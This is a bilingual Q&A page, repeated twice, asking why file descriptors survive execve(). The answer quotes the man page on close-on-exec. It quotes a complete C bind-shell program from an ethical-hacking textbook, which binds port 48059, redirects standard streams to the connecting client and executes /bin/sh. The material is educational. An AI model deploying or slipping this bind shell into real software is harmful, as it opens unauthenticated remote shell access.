为什么使用 execve 创建远程 shell 不会覆盖文件描述符和套接字?
Why creating a remote shell using execve doesn't overwrite file descriptors and socket?
所以我从 Gray Hat Hacking: The Ethical Hacker's Handbook, Fourth Edition 中得到了这段代码:
#include<sys/socket.h> // libraries used to make a socket
#include<netinet/in.h> // defines the sockaddr structure
int main(){
char * shell[2]; // prep for execve call
int server,client; // file descriptor handles
struct sockaddr_in serv_addr; // structure to hold IP/port vals
server=socket(2,1,0); // build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
serv_addr.sin_family=2; // set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
listen(server,0); // enter listen state, wait for connect
client=accept(server,0,0);// when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); // connect stdin to client
dup2(client,1); // connect stdout to client
dup2(client,2); // connect stderr to client
shell[0]="/bin/sh"; // first argument to execve
shell[1]=0; // terminate array with null
execve(shell[0],shell,0); // pop a shell
}
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
那么 socket()
的 return 值不应该被覆盖吗?如果我理解得很好的话,它是一个文件描述符?
不应该将文件描述符 stdin
、stdout
和 stderr
的重定向重置为默认值吗?
如果是这样,该程序如何运行?
我可能误解了有关 execve()
函数或文件描述符的某些内容。或者我可能完全误解了 socket()
函数。
文件描述符不是存储在堆栈中,也不是存储在 bss 部分中吗?
当通过 exec
函数之一执行新程序时,文件描述符 不会 关闭。如果是,就无法将终端中的 stdin / stdout / stderr 附加到正确的位置。
您错过了以下段落:
By default, file descriptors remain open across an execve()
. File
descriptors that are marked close-on-exec are closed; see the
description
of FD_CLOEXEC
in fcntl(2)
. (If a file descriptor is closed, this will cause the release of all record locks obtained on the
underlying file
by this process. See fcntl(2)
for details.) POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a
successful
execve()
, and the process would gain privilege because the set-user_ID or set-group_ID mode bit was set on the executed file,
then the system may open an unspecified file for each of these file descriptors. As a general principle, no portable program, whether
privileged or
not, can assume that these three file descriptors will remain closed across an execve()
.
所以我从 Gray Hat Hacking: The Ethical Hacker's Handbook, Fourth Edition 中得到了这段代码:
#include<sys/socket.h> // libraries used to make a socket
#include<netinet/in.h> // defines the sockaddr structure
int main(){
char * shell[2]; // prep for execve call
int server,client; // file descriptor handles
struct sockaddr_in serv_addr; // structure to hold IP/port vals
server=socket(2,1,0); // build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
serv_addr.sin_family=2; // set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
listen(server,0); // enter listen state, wait for connect
client=accept(server,0,0);// when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); // connect stdin to client
dup2(client,1); // connect stdout to client
dup2(client,2); // connect stderr to client
shell[0]="/bin/sh"; // first argument to execve
shell[1]=0; // terminate array with null
execve(shell[0],shell,0); // pop a shell
}
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
那么 socket()
的 return 值不应该被覆盖吗?如果我理解得很好的话,它是一个文件描述符?
不应该将文件描述符 stdin
、stdout
和 stderr
的重定向重置为默认值吗?
如果是这样,该程序如何运行?
我可能误解了有关 execve()
函数或文件描述符的某些内容。或者我可能完全误解了 socket()
函数。
文件描述符不是存储在堆栈中,也不是存储在 bss 部分中吗?
当通过 exec
函数之一执行新程序时,文件描述符 不会 关闭。如果是,就无法将终端中的 stdin / stdout / stderr 附加到正确的位置。
您错过了以下段落:
By default, file descriptors remain open across an
execve()
. File descriptors that are marked close-on-exec are closed; see the description ofFD_CLOEXEC
infcntl(2)
. (If a file descriptor is closed, this will cause the release of all record locks obtained on the underlying file by this process. Seefcntl(2)
for details.) POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a successfulexecve()
, and the process would gain privilege because the set-user_ID or set-group_ID mode bit was set on the executed file, then the system may open an unspecified file for each of these file descriptors. As a general principle, no portable program, whether privileged or not, can assume that these three file descriptors will remain closed across anexecve()
.